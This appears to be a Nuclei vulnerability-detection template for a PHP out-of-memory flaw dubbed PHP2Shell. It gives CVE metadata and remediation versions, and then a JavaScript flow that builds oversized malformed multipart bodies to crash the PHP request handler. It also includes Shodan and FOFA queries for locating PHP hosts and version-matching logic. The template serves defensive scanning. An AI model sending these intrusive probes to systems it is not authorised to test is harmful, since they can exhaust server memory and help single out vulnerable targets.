Copy
id: CVE-2026-109618
info:
name: PHP2Shell (CVE-2026-109618/CVE-2026-109619) - Active Crash Detection
author: lcfr_hax,assetnote,princechaddha,s4e-io
severity: critical
description: |
PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).
impact: |
Affected PHP installations may allow an unauthenticated attacker to corrupt process memory, disclose sensitive worker memory, or achieve remote code execution as the web worker account.
remediation: |
Upgrade to PHP 8.2.35, 8.3.36, 8.4.27, 8.5.12, or later. PHP 8.1 and older are end-of-life upstream; upgrade to a supported branch or apply vendor backports for both CVE-2026-109618 and CVE-2026-109619.
reference:
- https://www.php.net/index.php#2026-10-21-5
- https://www.php.net/archive/2026.php
- https://cert.europa.eu/publications/security-advisories/2026-018
- https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
- https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
- https://www.wiz.io/blog/php2shell-php-rce
- https://github.com/assetnote/php2shell-scanner
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 9.2
cve-id: CVE-2026-109618
epss-score: 0.99999
epss-percentile: 0.99999
cwe-id: CWE-416
cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 5
vendor: php
product: php
shodan-query: 'http.component:"PHP"'
fofa-query: 'header="X-Powered-By: PHP"'
tags: cve,cve2026,php,php2shell,rce,intrusive,vkev,kev
flow: |
function repeatStr(s, n) {
var r = '';
while (n > 0) {
if (n & 1) r += s;
s += s;
n >>= 1;
}
return r;
}
function buildProbe(sizeMib, parts) {
var size = sizeMib * 1048576;
var nested = repeatStr('[a]', 62);
var part = '--\nContent-Disposition:name=a[]' + nested + ';filename=\n\n';
var base = repeatStr(part, parts);
var fillerCount = Math.floor((size - base.length) / 3);
var filler = repeatStr('x:\n', fillerCount);
var body = '--\n' + filler + base.substring(3);
return body.substring(0, body.length - 1);
}
function versionVerdict(v) {
if (!v) return null;
var m = v.match(/^(\d+)\.(\d+)\.(\d+)(.*)$/);
if (!m) return null;
var major = parseInt(m[1]), minor = parseInt(m[2]), patch = parseInt(m[3]);
if (major < 8 || (major === 8 && minor < 2)) return 'EOL';
var fixed = {'8.2': 35, '8.3': 36, '8.4': 27, '8.5': 12};
var key = major + '.' + minor;
if (!(key in fixed)) return null;
if (patch < fixed[key]) return 'VULNERABLE';
if (patch === fixed[key] && /^[-_.]?(dev|alpha|beta|rc)/i.test(m[4])) return 'VULNERABLE';
return 'FIXED';
}
var PROBES = [[1, 4000], [8, 1020], [20, 1020]];
var REJECTED = {400:1, 403:1, 411:1, 413:1, 414:1, 417:1, 422:1, 429:1, 431:1};
http('control');
var ctrlStatus = parseInt(template['ctrl_status']);
if (!ctrlStatus) {
} else if (ctrlStatus >= 500) {
} else {
var poweredBy = template['ctrl_powered_by'] || '';
var matchedPHPError = false;
for (var i = 0; i < PROBES.length; i++) {
set('probe_body', buildProbe(PROBES[i][0], PROBES[i][1]));
var matched = http('probe');
if (template['probe_powered_by']) {
poweredBy = template['probe_powered_by'];
}
if (matched) {
matchedPHPError = true;
break;
}
var probeStatus = parseInt(template['probe_status']);
if (probeStatus in REJECTED) {
break;
}
if (versionVerdict(poweredBy) === 'FIXED') {
break;
}
}
var verdict = versionVerdict(poweredBy);
var distroBuild = /ubuntu|deb|\.el[0-9]|\.fc[0-9]|amzn|\.al[0-9]|remi|sury/i.test(poweredBy) ||
/\((?:Ubuntu|Debian|Red Hat|CentOS|Rocky|AlmaLinux|Amazon|SUSE)\)/i.test(template['ctrl_server'] || '');
if (distroBuild && verdict === 'VULNERABLE') {
verdict = null;
}
if (!matchedPHPError && (verdict === 'VULNERABLE' || verdict === 'EOL')) {
set('version_verdict', verdict === 'EOL' ? 'eol' : 'true');
set('powered_by_ver', poweredBy);
http('version-verdict');
}
}
http:
- id: control
raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=x
Connection: close
--x
Content-Disposition:name=a;filename=
matchers:
- type: dsl
dsl:
- "true"
internal: true
extractors:
- type: dsl
name: ctrl_status
dsl:
- "status_code"
internal: true
- type: regex
name: ctrl_powered_by
part: header
group: 1
regex:
- '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+[^\s;,)]*)'
internal: true
- type: regex
name: ctrl_server
part: header
group: 1
regex:
- '(?im)^Server:\s*([^\r\n]+)'
internal: true
- id: probe
raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=
Connection: close
{{probe_body}}
matchers:
- type: dsl
name: memory-exhaustion
dsl:
- 'contains(body, "Allowed memory size of") && contains(body, "bytes exhausted") && contains(body, "Unknown")'
extractors:
- type: dsl
name: probe_status
dsl:
- "status_code"
internal: true
- type: regex
name: probe_powered_by
part: header
group: 1
regex:
- '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+[^\s;,)]*)'
internal: true
- type: regex
name: version
part: header
group: 1
regex:
- '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+(?:(?:[-+~_A-Za-z]|\.[A-Za-z])[0-9A-Za-z._+~-]*)?)(?:[ \t;,)\r]|$)'
- id: version-verdict
raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers:
- type: dsl
name: version-vulnerable-no-crash
dsl:
- 'version_verdict == "true"'
- type: dsl
name: version-eol-branch
dsl:
- 'version_verdict == "eol"'
extractors:
- type: regex
name: version
part: header
group: 1
regex:
- '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+(?:(?:[-+~_A-Za-z]|\.[A-Za-z])[0-9A-Za-z._+~-]*)?)(?:[ \t;,)\r]|$)'
# digest: 4b0a0048304602210085c6178f9f06a71a0fbc52960a95d52ce424228e69747651ce380be840c365c90221008da9d34945f99dca89f45648d043610764ddd32bfe24128d4a25f57b0d7ab93c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.